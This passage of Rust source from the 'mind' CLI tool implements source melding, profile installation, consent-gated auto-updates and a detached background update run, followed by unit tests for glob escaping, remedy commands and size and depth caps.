"{scope} matched {} sources; every matched source's items are in scope for this pass, and its install hook may be re-run: {}. Narrow with a longer suffix, or the full host/owner/repo identity, to target fewer.",
sanitized.len(),
sanitized.join(", "),
))
}
fn short(s: &str) -> String {
if s.is_empty() {
"-".to_string()
} else {
s.chars().take(8).collect()
}
}
fn summary(desc: Option<&str>, max: usize) -> String {
let Some(d) = desc else { return String::new() };
let first = d.split(". ").next().unwrap_or(d).trim_end_matches('.');
if first.chars().count() <= max {
return first.to_string();
}
let cut: String = first.chars().take(max.saturating_sub(1)).collect();
format!("{}...", cut.trim_end())
}
fn prompt_line(prompt: &str) -> Result<String> {
let prompt = crate::sanitize::strip_ansi(prompt);
print!("{prompt}");
let _ = std::io::stdout().flush();
let mut line = String::new();
if std::io::stdin()
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?
== 0
{
return Ok(String::new()); }
Ok(line)
}
fn parse_confirm(input: &str, default_yes: bool) -> bool {
match input.trim().to_ascii_lowercase().as_str() {
"y" | "yes" => true,
"n" | "no" => false,
_ => default_yes,
}
}
fn read_confirm(prompt: &str, hint: &str, default_yes: bool) -> Result<bool> {
let prompt = crate::sanitize::strip_ansi(prompt);
print!("\n{prompt} {hint} ");
let _ = std::io::stdout().flush();
let mut line = String::new();
let stdin = std::io::stdin();
if stdin
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?
== 0
{
return Ok(false); }
Ok(parse_confirm(&line, default_yes))
}
pub(crate) fn confirm(prompt: &str) -> Result<bool> {
read_confirm(prompt, "[y/N]", false)
}
pub(crate) fn confirm_default_yes(prompt: &str) -> Result<bool> {
read_confirm(prompt, "[Y/n]", true)
}
pub fn meld_verb(paths: &Paths, args: crate::cli::MeldArgs, yes: bool, json: bool) -> Result<()> {
let crate::cli::MeldArgs {
repo,
alias,
roots,
add_roots,
flat_skills,
pin,
follow_branch,
pin_tag,
pin_ref,
install_hook,
dangerously_skip_install_hook_check,
dangerously_skip_build_hook_check,
register_only,
kind,
learn_patterns,
profiles,
no_default_profile,
all_profiles,
recursive,
force,
overwrite,
local,
auto_update,
} = args;
let grant = auto_update
.as_deref()
.map(parse_auto_update_grant)
.transpose()?;
let _local_guard = apply_local_scope(paths, local)?;
let pin = parse_pin_flags(pin, follow_branch, pin_tag, pin_ref)?;
validate_learn_patterns(&learn_patterns)?;
let profile_names = crate::profile::parse_cli_names(&profiles)?;
let profile_flags =
crate::profile::flags_given(&profile_names, no_default_profile, all_profiles);
let profile_selection = crate::profile::Selection {
include_default: !no_default_profile,
named: profile_names,
all: all_profiles,
};
let repo = match repo.as_deref() {
None | Some(".") | Some("./") => std::env::current_dir()
.map_err(|e| crate::error::MindError::io(".", e))?
.to_string_lossy()
.into_owned(),
Some(r) => r.to_string(),
};
let item_kind = parse_link_kind(kind, &repo)?;
if is_item_link_spec(&repo) {
crate::profile::reject_on_item_link(&profile_flags)?;
}
let clobber = if force {
Clobber::Force
} else if overwrite {
Clobber::Overwrite
} else {
Clobber::Prompt
};
let flow = InstallFlow {
yes,
clobber,
dangerously_skip: dangerously_skip_install_hook_check,
dangerously_skip_build: dangerously_skip_build_hook_check,
};
let source_ident = instance_name(&repo, alias.as_deref()).unwrap_or_else(|_| repo.clone());
let already_melded = is_melded(paths, &repo, alias.as_deref())?;
if already_melded {
let mut ignored_flags: Vec<&str> = Vec::new();
if !roots.is_empty() {
ignored_flags.push("--root");
}
if !add_roots.is_empty() {
ignored_flags.push("--add-root");
}
if flat_skills {
ignored_flags.push("--flat-skills");
}
if install_hook.is_some() {
ignored_flags.push("--install-hook");
}
if item_kind.is_some() {
ignored_flags.push("--kind");
}
remeld(
paths,
&repo,
alias,
register_only,
flow,
recursive,
&ignored_flags,
pin,
&learn_patterns,
(!profile_flags.is_empty()).then_some(&profile_selection),
)?;
} else {
let mut meld_profiles = if register_only {
MeldProfiles::None
} else {
MeldProfiles::Consumer {
selection: profile_selection.clone(),
flags_given: !profile_flags.is_empty(),
yes,
picked: None,
}
};
let meld_sum = meld_with_profiles(
paths,
&repo,
alias,
roots,
add_roots,
flat_skills,
pin,
install_hook,
dangerously_skip_install_hook_check,
item_kind,
&mut meld_profiles,
yes, )?;
let use_profiles =
!register_only && meld_uses_profiles(paths, &source_ident, !profile_flags.is_empty())?;
if use_profiles {
let selection = match meld_profiles {
MeldProfiles::Consumer {
picked: Some(sel), ..
} => sel,
_ => profile_selection,
};
let req = ProfileInstall {
source_name: &source_ident,
selection: &selection,
learn_patterns: &learn_patterns,
only_missing_from_snapshot: false,
};
if json {
let (outcome, pend) = install_source_profiles_for_json(paths, &req, flow)?;
let mut inst = outcome.installed_keys;
if learn_patterns.is_empty() {
inst.extend(install_curated_sources_for_json(
paths,
&source_ident,
recursive,
flow,
)?);
}
emit_meld_json_result(meld_sum, inst, pend, Some(outcome.enabled))?;
} else {
install_source_profiles(paths, &req, flow)?;
if learn_patterns.is_empty() {
install_curated_sources(paths, &source_ident, recursive, flow)?;
} else {
note_learn_ignores_recursive(recursive);
}
}
} else if !register_only {
if json {
let (mut inst, pend) = if learn_patterns.is_empty() {
install_source_items_for_json(paths, &source_ident, flow)?
} else {
install_source_items_matching_for_json(
paths,
&source_ident,
&learn_patterns,
flow,
)?
};
if learn_patterns.is_empty() {
let curated =
install_curated_sources_for_json(paths, &source_ident, recursive, flow)?;
inst.extend(curated);
}
emit_meld_json_result(meld_sum, inst, pend, None)?;
} else if !learn_patterns.is_empty() {
note_learn_ignores_recursive(recursive);
install_source_items_matching(paths, &source_ident, &learn_patterns, flow)?;
} else {
install_source_items(paths, &source_ident, flow)?;
install_curated_sources(paths, &source_ident, recursive, flow)?;
}
} else if json {
emit_meld_json_result(meld_sum, vec![], 0, None)?;
}
}
apply_auto_update_grant(paths, &source_ident, grant, !already_melded, yes, json)?;
maybe_probe_hint(paths, &source_ident)
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum AutoUpdateGrant {
Declared,
Level(crate::auto_update::Level),
}
fn parse_auto_update_grant(value: &str) -> Result<AutoUpdateGrant> {
if value == "declared" {
return Ok(AutoUpdateGrant::Declared);
}
crate::auto_update::Level::parse(value)
.map(AutoUpdateGrant::Level)
.ok_or_else(|| MindError::BadAutoUpdate {
value: value.to_string(),
})
}
fn apply_auto_update_grant(
paths: &Paths,
source_name: &str,
grant: Option<AutoUpdateGrant>,
newly_melded: bool,
yes: bool,
json: bool,
) -> Result<()> {
use crate::auto_update::Level;
let mut registry = Registry::load(paths)?;
let Some(source) = registry.sources.iter_mut().find(|s| s.name == source_name) else {
return Ok(());
};
let shown = strip_ansi(&source.name);
let (declared, ranged) = match &source.pin {
Pin::Version(vp) => (
vp.auto_update,
!matches!(
vp.parsed_range(),
None | Some(crate::version::Range::Exact(_))
),
),
_ => (None, false),
};
let level = match grant {
Some(AutoUpdateGrant::Declared) => declared.unwrap_or(Level::Compatible),
Some(AutoUpdateGrant::Level(level)) => level,
None => {
let Some(declared) = declared else {
return Ok(());
};
if !newly_melded || !ranged || yes || json || !crate::hook::is_tty() {
return Ok(());
}
let compatible = format!("{shown} asks to update automatically (compatible releases)");
let asked = if declared == Level::Breaking
&& confirm(&format!(
"{shown} asks to update automatically, including breaking releases"
))? {
Some(Level::Breaking)
} else if confirm_default_yes(&compatible)? {
Some(Level::Compatible)
} else {
None
};
let Some(level) = asked else {
return Ok(());
};
level
}
};
if level != Level::Off && !ranged {
if !json {
println!(
"note: auto-update applies only to a version range pin; {shown} has none, so nothing was granted"
);
}
return Ok(());
}
source.auto_update = Some(level);
registry.save(paths)?;
if !json {
println!("auto-update: {shown} {level}");
}
Ok(())
}
fn auto_update_level(
source: &crate::source::Source,
cap: Option<crate::auto_update::Level>,
) -> crate::auto_update::Level {
use crate::auto_update::Level;
let Pin::Version(vp) = &source.pin else {
return Level::Off;
};
if matches!(
vp.parsed_range(),
None | Some(crate::version::Range::Exact(_))
) {
return Level::Off;
}
crate::auto_update::effective(source.auto_update, cap)
}
fn auto_update_hold_reason(
paths: &Paths,
source: &crate::source::Source,
dir: &std::path::Path,
manifest: &Manifest,
) -> Result<Option<String>> {
let pending = pending_update_hooks(source, dir);
if !pending.hooks.is_empty() {
return Ok(Some(format!("its {} hook needs consent", pending.event)));
}
let mut catalog: Vec<CatalogItem> = Vec::new();
catalog::scan_source(paths, source, &mut catalog)?;
for installed in manifest.items.values().filter(|i| i.source == source.name) {
let Some(cat) = catalog.iter().find(|c| {
c.kind == installed.kind
&& c.name == installed.bare_name
&& c.source == installed.source
}) else {
continue;
};
let has_hook = cat.build.is_some()
|| cat.hooks.iter().any(|h| {
matches!(
h.event,
crate::mindfile::HookEvent::Install | crate::mindfile::HookEvent::Update
)
});
if has_hook && cat.content_hash()? != installed.hash {
return Ok(Some(format!(
"{} has a hook that needs consent",
installed.display_key()
)));
}
}
Ok(None)
}
fn auto_update_breaking_move(
source: &crate::source::Source,
dir: &std::path::Path,
) -> Result<Option<(String, Pin)>> {
let Pin::Version(vp) = &source.pin else {
return Ok(None);
};
let Some(recommended) = recommended_for_breaking(&source.pin) else {
return Ok(None);
};
let Some(range) = crate::version::Range::parse(&recommended) else {
return Ok(None);
};
let mut moved = source.clone();
moved.pin = Pin::Version(crate::source::VersionPin {
range: range.to_string(),
resolved: None,
tag: None,
yanked: false,
..vp.clone()
});
let (commit, pin) = sync_clone_to_pin(&moved, dir)?;
match &pin {
Pin::Version(v) if v.resolved.is_some() => Ok(Some((commit, pin))),
_ => Ok(None),
}
}
fn auto_update_restore_clone(source: &crate::source::Source, dir: &std::path::Path) -> Result<()> {
match source.commit.as_deref() {
Some(sha) => git::reset_to_commit(&source.url, dir, sha),
None => git::sync_to_pin(&source.url, dir, &source.pin),
}
}
fn resolved_version(pin: &Pin) -> String {
match pin {
Pin::Version(v) => v.resolved.clone().unwrap_or_else(|| "?".into()),
_ => "?".into(),
}
}
#[derive(Serialize)]
struct AutoUpdateJson {
schema: u8,
action: &'static str,
target: &'static str,
outcome: &'static str,
moved: Vec<String>,
held: Vec<String>,
failed: Vec<String>,
breaking: Vec<BreakingMoveJson>,
}
pub fn auto_update_run(
paths: &Paths,
if_stale: Option<&str>,
background: bool,
json: bool,
) -> Result<()> {
use crate::auto_update::{Level, Report, State};
let every = if_stale
.map(crate::auto_update::parse_duration)
.transpose()?;
let stale = |state: &State| every.is_none_or(|e| state.is_stale(e, crate::auto_update::now()));
if background {
if !stale(&State::load(paths)) {
return Ok(());
}
return spawn_detached_run(if_stale);
}
let up_to_date = |json: bool| {
if json {
print_json(&AutoUpdateJson {
schema: 1,
action: "auto-update run",
target: "*",
outcome: "skipped",
moved: Vec::new(),
held: Vec::new(),
failed: Vec::new(),
breaking: Vec::new(),
})
} else {
Ok(())
}
};
if !stale(&State::load(paths)) {
if !json {
println!("auto-update: the last run is more recent than --if-stale; nothing to do");
}
return up_to_date(json);
}
let mut lock = crate::lock::open(paths)?;
let Some(_guard) = lock.try_write() else {
if !json {
println!("auto-update: another mind command is running; nothing to do");
}
return up_to_date(json);
};
crate::hook::force_non_interactive();
git::set_noninteractive(true);
let policy = Policy::load()?;
let manifest = Manifest::load(paths)?;
let mut registry = Registry::load(paths)?;
let mut report = Report {
time: crate::auto_update::now(),
..Report::default()
};
let mut breaking: Vec<BreakingMoveJson> = Vec::new();
let mut moved_names: Vec<String> = Vec::new();
for source in &mut registry.sources {
let level = auto_update_level(source, auto_update_cap(policy.as_ref(), source));
if level == Level::Off {
continue;
}
if let Some(p) = policy.as_ref()
&& p.lock()
&& !p.allow_matches(&source.base_identity())
{
continue;
}
let shown = strip_ansi(&source.name);
enum Step {
Unchanged(Box<Pin>),
Moved(String, Box<Pin>, bool),
Held(String),
}
let current: &crate::source::Source = source;
let step = (|| -> Result<Step> {
let dir = clone_dir_checked(paths, current)?;
let moving = || -> Result<Step> {
let (mut commit, mut pin) = sync_clone_to_pin(current, &dir)?;
let mut took_breaking = false;
if level == Level::Breaking {
let mut probe = current.clone();
probe.pin = pin.clone();
if let Some((c, p)) = auto_update_breaking_move(&probe, &dir)? {
commit = c;
pin = p;
took_breaking = true;
}
}
if current.commit.as_deref() == Some(commit.as_str()) {
return Ok(Step::Unchanged(Box::new(pin)));
}
let mut next = current.clone();
next.pin = pin.clone();
next.commit = Some(commit.clone());
if let Some(why) = auto_update_hold_reason(paths, &next, &dir, &manifest)? {
auto_update_restore_clone(current, &dir)?;
return Ok(Step::Held(format!("{}: {why}", resolved_version(&pin))));
}
Ok(Step::Moved(commit, Box::new(pin), took_breaking))
};
let step = moving();
if step.is_err() {
let _ = auto_update_restore_clone(current, &dir);
}
step
})();
match step {
Ok(Step::Unchanged(pin)) => source.pin = *pin,
Ok(Step::Moved(commit, pin, took_breaking)) => {
let from = resolved_version(&source.pin);
let to = resolved_version(&pin);
report.moved.push(format!("{shown} {from} -> {to}"));
if took_breaking {
breaking.push(BreakingMoveJson {
source: shown.clone(),
from: from.clone(),
to: to.clone(),
applied: true,
recommended: true,
});
}
source.pin = *pin;
source.commit = Some(commit);
moved_names.push(source.name.clone());
}
Ok(Step::Held(why)) => report.held.push(format!("{shown} {why}")),
Err(e) => report
.failed
.push(format!("{shown}: {}", strip_ansi(&e.to_string()))),
}
}
registry.save(paths)?;
if !moved_names.is_empty() {
if let Err(e) = upgrade_inner_scoped(
paths,
true,
None,
true,
SourceScope::Names(&moved_names, None),
None,
false,
false,
) {
report
.failed
.push(format!("upgrade: {}", strip_ansi(&e.to_string())));
}
}
crate::auto_update::append_log(paths, &report);
let mut state = State::load(paths);
state.last_run = Some(crate::auto_update::now());
if !report.is_empty() {
state.unshown.push(report.clone());
}
state.save(paths)?;
if json {
return print_json(&AutoUpdateJson {
schema: 1,
action: "auto-update run",
target: "*",
outcome: if report.failed.is_empty() {
"ok"
} else {
"partial"
},
moved: report.moved,
held: report.held,
failed: report.failed,
breaking,
});
}
for line in &report.moved {
println!("auto-update: moved {line}");
}
for line in &report.held {
println!("auto-update: held {line}");
}
for line in &report.failed {
eprintln!("auto-update: failed {line}");
}
if report.is_empty() {
println!("auto-update: everything is up to date");
}
Ok(())
}
fn spawn_detached_run(if_stale: Option<&str>) -> Result<()> {
use std::os::unix::process::CommandExt as _;
let exe = std::env::current_exe().map_err(|e| MindError::io("current_exe", e))?;
let mut cmd = std::process::Command::new(&exe);
cmd.args(["auto-update", "run"]);
if let Some(d) = if_stale {
cmd.args(["--if-stale", d]);
}
cmd.stdin(std::process::Stdio::null())
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null());
unsafe {
cmd.pre_exec(|| {
libc::setsid();
Ok(())
});
}
cmd.spawn().map_err(|e| MindError::io(&exe, e))?;
Ok(())
}
pub fn config_auto_update(paths: &Paths, on: bool, every: &str) -> Result<()> {
let out = crate::render::ctx();
if on {
crate::auto_update::parse_duration(every)?;
if Policy::load()?.and_then(|p| p.auto_update_cap()) == Some(crate::auto_update::Level::Off)
{
return Err(MindError::AutoUpdateForbidden);
}
}
let mut changed: Vec<String> = Vec::new();
let mut skipped: Vec<String> = Vec::new();
for lobe in paths.agent_homes()? {
let shown = strip_ansi(&lobe.path.display().to_string());
if lobe.kinds.is_some() {
if on {
skipped.push(shown);
}
continue;
}
let file = lobe.path.join("settings.json");
let did = if on {
crate::auto_update::install_trigger(&file, every)?
} else {
crate::auto_update::remove_trigger(&file)?
};
if did {
changed.push(strip_ansi(&file.display().to_string()));
}
}
if out.json {
let mut r = MutationResult::new(
"config auto-update",
if on { "on" } else { "off" },
if changed.is_empty() { "no-op" } else { "ok" },
);
r.count = Some(changed.len());
return print_json(&r);
}
for file in &changed {
if on {
println!("{} added the auto-update trigger to {file}", out.ok());
} else {
println!("{} removed the auto-update trigger from {file}", out.ok());
}
}
if changed.is_empty() {
println!(
"auto-update trigger already {}",
if on { "installed" } else { "absent" }
);
}
for lobe in &skipped {
println!(
"note: {lobe} is not a Claude lobe, so it gets no trigger; schedule `mind auto-update run --if-stale {every}` from cron instead"
);
}
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use crate::error::ItemKind;
use crate::manifest::InstalledItem;
use crate::paths::ENV_LOCK;
use std::path::PathBuf;
use std::sync::atomic::{AtomicU32, Ordering};
static COUNTER: AtomicU32 = AtomicU32::new(0);
fn link_skill(name: &str, requires: Vec<String>) -> CatalogItem {
CatalogItem {
kind: ItemKind::Skill,
name: name.to_string(),
source: "local/test/repo#skills/review".to_string(),
prefix: None,
path: PathBuf::from("/nonexistent"),
description: None,
when_to_use: None,
link_rel: None,
bin: None,
build: None,
requires,
expand: Vec::new(),
hooks: Vec::new(),
ignore: None,
}
}
#[test]
fn config_show_names_where_a_non_config_metadata_cap_came_from() {
use crate::config::MetadataLimitOrigin;
assert_eq!(metadata_cap_origin(None), None);
assert_eq!(
metadata_cap_origin(Some(&MetadataLimitOrigin::Default)),
None
);
assert_eq!(
metadata_cap_origin(Some(&MetadataLimitOrigin::Config("2MiB".into()))),
None
);
let note = metadata_cap_origin(Some(&MetadataLimitOrigin::Flag("8MiB".into())))
.expect("the flag must be named");
assert!(
note.contains("--max-metadata-size (8MiB)")
&& note.contains("overrides the environment and the config key"),
"{note}"
);
let note = metadata_cap_origin(Some(&MetadataLimitOrigin::Env("4KiB".into())))
.expect("the environment must be named");
assert!(
note.contains(crate::config::MAX_METADATA_SIZE_ENV) && note.contains("4KiB"),
"{note}"
);
}
#[test]
fn init_source_pre_read_of_mind_toml_is_capped() {
let dir = scratch("init-pre-read");
let toml = dir.join("mind.toml");
assert!(matches!(read_existing_mind_toml(&toml, 8), Ok(None)));
let body = "[source]\ndescription = \"forty bytes!!!\"\n";
assert_eq!(body.len(), 40);
std::fs::write(&toml, body).unwrap();
let err = read_existing_mind_toml(&toml, 8).expect_err("over the cap must be refused");
assert!(matches!(err, MindError::MetadataTooLarge { .. }), "{err:?}");
assert_eq!(
read_existing_mind_toml(&toml, crate::error::METADATA_SIZE_LIMIT)
.unwrap()
.as_deref(),
Some(body)
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn link_drops_only_the_entries_a_single_item_catalog_cannot_satisfy() {
let item = link_skill("review", vec![]);
assert!(!requires_resolves_alone("agent:dev", &item));
assert!(!requires_resolves_alone("dev", &item));
assert!(requires_resolves_alone("review", &item));
assert!(requires_resolves_alone("skill:review", &item));
assert!(!requires_resolves_alone("agent:review", &item));
assert!(requires_resolves_alone("owner/repo#agent:dev", &item));
assert!(requires_resolves_alone("skill:", &item));
}
fn catalog_skill(name: &str, source: &str, prefix: Option<&str>) -> CatalogItem {
CatalogItem {
prefix: prefix.map(str::to_string),
source: source.to_string(),
..link_skill(name, vec![])
}
}
fn target(source: &str, key: &str) -> LearnTarget {
LearnTarget {
source: source.to_string(),
key: key.to_string(),
}
}
#[test]
fn learn_target_display_escapes_a_key_the_user_would_paste_back() {
let items = vec![
catalog_skill("pdf[x]", "s", None),
catalog_skill("pdfx", "s", None),
];
let target = target("s", "skill:pdf[x]");
let printed = target.display();
let parsed = crate::resolve::parse_item_ref(&printed).expect("a valid ref");
let selected = crate::resolve::select(&items, &parsed);
assert_eq!(
selected
.iter()
.map(|it| it.name.as_str())
.collect::<Vec<_>>(),
vec!["pdf[x]"],
"the printed ref must select the item it names: {printed}"
);
let raw = format!("{}#{}", target.source, target.key);
let raw_parsed = crate::resolve::parse_item_ref(&raw).expect("a valid ref");
assert_eq!(
crate::resolve::select(&items, &raw_parsed)
.iter()
.map(|it| it.name.as_str())
.collect::<Vec<_>>(),
vec!["pdfx"],
"the unescaped spelling selects the wrong item, which is why it is escaped"
);
}
#[test]
fn learn_pattern_matches_bare_and_effective_names_within_the_source() {
let items = vec![
catalog_skill("review", "github.com/o/r", Some("jk")),
catalog_skill("extra", "github.com/o/r", Some("jk")),
catalog_skill("review", "github.com/other/r", None),
];
assert_eq!(
learn_pattern_targets(&items, "github.com/o/r", "review").unwrap(),
vec![target("github.com/o/r", "skill:jk:review")]
);
assert_eq!(
learn_pattern_targets(&items, "github.com/o/r", "jk:review").unwrap(),
vec![target("github.com/o/r", "skill:jk:review")]
);
assert_eq!(
learn_pattern_targets(&items, "github.com/o/r", "*e*").unwrap(),
vec![
target("github.com/o/r", "skill:jk:review"),
target("github.com/o/r", "skill:jk:extra"),
]
);
assert!(matches!(
learn_pattern_targets(&items, "github.com/o/r", "agent:review"),
Err(MindError::LearnPatternNoMatch { .. })
));
}
#[test]
fn a_matched_selection_round_trips_to_the_same_item() {
let items = vec![
catalog_skill("pdf[x]", "s", None),
catalog_skill("pdfx", "s", None),
catalog_skill("x#skill:review", "s", None),
catalog_skill("review", "s", None),
];
let escaped = format!("skill:{}", glob::Pattern::escape("pdf[x]"));
let matched = learn_pattern_targets(&items, "s", &escaped).unwrap();
assert_eq!(matched, vec![target("s", "skill:pdf[x]")]);
assert_eq!(
exact_index(&items, &matched[0]),
Some(0),
"the selection must resolve back to `pdf[x]`, not `pdfx`"
);
let matched = learn_pattern_targets(&items, "s", "skill:x*").unwrap();
assert_eq!(matched, vec![target("s", "skill:x#skill:review")]);
assert_eq!(
exact_index(&items, &matched[0]),
Some(2),
"the `#`-carrying selection must resolve to its own item"
);
let joined = matched[0].display();
let (_src, key) = joined.rsplit_once('#').unwrap();
assert_eq!(
key, "skill:review",
"the joined spelling really is ambiguous: {joined}"
);
assert_ne!(
exact_index(&items, &matched[0]),
exact_index(&items, &target("s", "skill:review")),
"the two readings must be different items"
);
}
#[test]
fn learn_pattern_rejects_unusable_values() {
let items = vec![catalog_skill("review", "github.com/o/r", None)];
let reason = |p: &str| match learn_pattern_targets(&items, "github.com/o/r", p) {
Err(MindError::InvalidLearnPattern { reason, .. }) => reason,
other => panic!("expected InvalidLearnPattern for {p:?}, got {other:?}"),
};
assert!(reason("").contains("empty"));
assert!(reason(" ").contains("empty"));
assert!(reason("other/repo#review").contains("selects within the source being melded"));
assert!(reason("[bad").contains("not a valid glob"));
}
#[test]
fn link_remedy_escapes_glob_metacharacters_in_an_item_name() {
let remedy = link_meld_remedy(
"local/t/repo#skills/pdf[x]",
"/tmp/repo",
"pdf[x]",
ItemKind::Skill,
None,
);
assert!(
!remedy.contains("--learn 'pdf[x]'") && !remedy.contains("--learn 'skill:pdf[x]'"),
"the raw name would be read as a glob: {remedy}"
);
let escaped_id = glob::Pattern::escape("local/t/repo#skills/pdf[x]");
assert!(
remedy.starts_with(&format!("mind unmeld '{escaped_id}' --yes && mind meld ")),
"the remedy must unmeld the link instance first, by an escaped selector: {remedy}"
);
assert!(
crate::resolve::source_matches_glob("local/t/repo#skills/pdf[x]", &escaped_id),
"the escaped selector must still resolve to the instance it names"
);
assert!(
!crate::resolve::source_matches_glob(
"local/t/repo#skills/pdf[x]",
"local/t/repo#skills/pdf[x]"
),
"the unescaped selector really does fail to match, which is why it is escaped"
);
assert_eq!(
remedy.matches("--yes").count(),
2,
"both halves of the remedy must be non-interactive: {remedy}"
);
let items = vec![
catalog_skill("pdf[x]", "s", None),
catalog_skill("pdfx", "s", None),
CatalogItem {
kind: ItemKind::Agent,
..catalog_skill("pdf[x]", "s", None)
},
];
let escaped = format!("skill:{}", glob::Pattern::escape("pdf[x]"));
assert!(
remedy.contains(&format!("--learn '{escaped}'")),
"the remedy must carry the kind-qualified, escaped pattern: {remedy}"
);
let matched = learn_pattern_targets(&items, "s", &escaped).unwrap();
assert_eq!(matched, vec![target("s", "skill:pdf[x]")]);
assert_eq!(
exact_index(&items, &matched[0]),
Some(0),
"the remedy's own selection must resolve to the linked skill"
);
assert_eq!(
learn_pattern_targets(&items, "s", &glob::Pattern::escape("pdf[x]"))
.unwrap()
.len(),
2,
"the kind qualifier is what keeps the agent out"
);
assert_eq!(
learn_pattern_targets(&items, "s", "skill:pdf[x]").unwrap(),
vec![target("s", "skill:pdfx")],
"the unescaped name really would have selected the other item"
);
}
#[test]
fn link_remedy_adds_a_scan_root_when_a_plain_meld_would_not_reach_the_skill() {
let plain = link_meld_remedy(
"local/t/repo#skills/review",
"/tmp/repo",
"review",
ItemKind::Skill,
None,
);
let rooted = link_meld_remedy(
"local/t/repo#skills/review",
"/tmp/repo",
"review",
ItemKind::Skill,
Some(&link_add_root("skills/review", ItemKind::Skill)),
);
assert_eq!(
plain,
"mind unmeld 'local/t/repo#skills/review' --yes && \
mind meld '/tmp/repo' --learn 'skill:review' --yes"
);
assert_eq!(
rooted,
"mind unmeld 'local/t/repo#skills/review' --yes && \
mind meld '/tmp/repo' --add-root '.' --learn 'skill:review' --yes"
);
}
#[test]
fn link_add_root_names_the_directory_the_scan_must_start_from() {
assert_eq!(link_add_root("skills/review", ItemKind::Skill), ".");
assert_eq!(link_add_root("review", ItemKind::Skill), ".");
assert_eq!(
link_add_root("vendor/pkg/skills/review", ItemKind::Skill),
"vendor/pkg"
);
assert_eq!(link_add_root("vendor/review", ItemKind::Skill), "vendor");
assert_eq!(
link_add_root("my-skills/review", ItemKind::Skill),
"my-skills"
);
}
fn link_source_at(dir: &std::path::Path, item_path: &str) -> crate::source::Source {
crate::source::Source {
name: format!("local/test/repo#{item_path}"),
url: dir.to_string_lossy().into_owned(),
host: "local".to_string(),
owner: "test".to_string(),
repo: "repo".to_string(),
commit: None,
description: None,
alias: None,
as_alias: None,
pin: Pin::default(),
roots: None,
flat_skills: false,
add_roots: None,
item_path: Some(item_path.to_string()),
item_kind: None,
curated_by: None,
origin: None,
plugin_version: None,
install_hooks: Vec::new(),
install_hook: None,
install_hook_commit: None,
profiles: None,
profile_snapshot: None,
auto_update: None,
}
}
fn scratch(tag: &str) -> std::path::PathBuf {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir = std::env::temp_dir().join(format!("mind-{tag}-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
dir
}
fn write_file_at(path: &std::path::Path, contents: &str) {
std::fs::create_dir_all(path.parent().unwrap()).unwrap();
std::fs::write(path, contents).unwrap();
}
#[test]
fn plain_meld_reaches_link_answers_by_path_not_by_bare_name() {
let dir = scratch("lnk18-bypath");
let paths = Paths {
mind_home: dir.join("mind"),
claude_home: dir.join("claude"),
};
write_file_at(
&dir.join("skills/review/SKILL.md"),
"---\ndescription: the linked one\n---\n# review\n",
);
write_file_at(
&dir.join("vendor/review/SKILL.md"),
"---\ndescription: a decoy of the same bare name\n---\n# review\n",
);
write_file_at(
&dir.join("mind.toml"),
"[[items]]\nkind = \"skill\"\nname = \"review\"\npath = \"vendor/review\"\n",
);
let source = link_source_at(&dir, "skills/review");
assert!(
!plain_meld_reaches_link(&paths, &source, ItemKind::Skill),
"a same-named skill at a DIFFERENT path must not count as reachable, \
or the remedy would install the decoy"
);
std::fs::remove_file(dir.join("mind.toml")).unwrap();
assert!(
plain_meld_reaches_link(&paths, &source, ItemKind::Skill),
"a plain convention layout really is reachable, so the plain remedy \
form must still be chosen for it"
);
let ordinary = crate::source::Source {
item_path: None,
item_kind: None,
curated_by: None,
..source.clone()
};
assert!(plain_meld_reaches_link(&paths, &ordinary, ItemKind::Skill));
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn plain_meld_reaches_link_treats_a_failed_scan_as_not_reachable() {
let dir = scratch("lnk18-scanfail");
let paths = Paths {
mind_home: dir.join("mind"),
claude_home: dir.join("claude"),
};
let missing = dir.join("no-such-clone");
let source = link_source_at(&missing, "skills/review");
assert!(
!plain_meld_reaches_link(&paths, &source, ItemKind::Skill),
"an unreadable clone must answer 'not reachable', not propagate"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn expandable_files_reads_markdown_and_expand_listed_files_only() {
let dir = scratch("lnk18-expandable");
let skill = dir.join("skills/review");
write_file_at(&skill.join("SKILL.md"), "# review\n");
write_file_at(&skill.join("docs/notes.md"), "nested markdown\n");
write_file_at(&skill.join("run.py"), "# {{ns:dev}}\n");
write_file_at(&skill.join("data/blob.bin"), "not expanded\n");
let item = CatalogItem {
path: skill.clone(),
expand: vec!["run.py".to_string()],
..link_skill("review", vec![])
};
let mut got: Vec<String> = expandable_files(&item)
.unwrap()
.iter()
.map(|p| {
p.strip_prefix(&skill)
.unwrap()
.to_string_lossy()
.into_owned()
})
.collect();
got.sort();
assert_eq!(
got,
vec!["SKILL.md", "docs/notes.md", "run.py"],
"markdown at any depth plus the expand:-listed file, and nothing else"
);
let unlisted = CatalogItem {
expand: Vec::new(),
..item.clone()
};
assert!(
!expandable_files(&unlisted)
.unwrap()
.iter()
.any(|p| p.ends_with("run.py")),
"a non-markdown file the item does not list is not expanded, so it \
must not be scanned either"
);
let single = CatalogItem {
kind: ItemKind::Agent,
path: skill.join("run.py"),
expand: vec!["run.py".to_string()],
..link_skill("review", vec![])
};
assert!(
expandable_files(&single).unwrap().is_empty(),
"a non-markdown single-file item has nothing install would expand"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn expandable_files_depth_caps_a_pathological_item_tree() {
let dir = scratch("lnk18-deep");
let skill = dir.join("skills/review");
let mut deep = skill.clone();
for _ in 0..(install::MAX_ITEM_TREE_DEPTH + 2) {
deep.push("d");
}
std::fs::create_dir_all(&deep).unwrap();
write_file_at(&skill.join("SKILL.md"), "# review\n");
let item = CatalogItem {
path: skill,
..link_skill("review", vec![])
};
let err = expandable_files(&item).expect_err("the cap must be enforced");
assert!(
err.to_string().contains("nested directories"),
"the depth cap must surface as the structured LIFE-52 error: {err}"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn exact_index_misses_a_target_that_is_not_in_the_catalog() {
let items = vec![
catalog_skill("review", "s", None),
catalog_skill("review", "other", None),
];
assert_eq!(exact_index(&items, &target("s", "skill:review")), Some(0));
assert_eq!(exact_index(&items, &target("nope", "skill:review")), None);
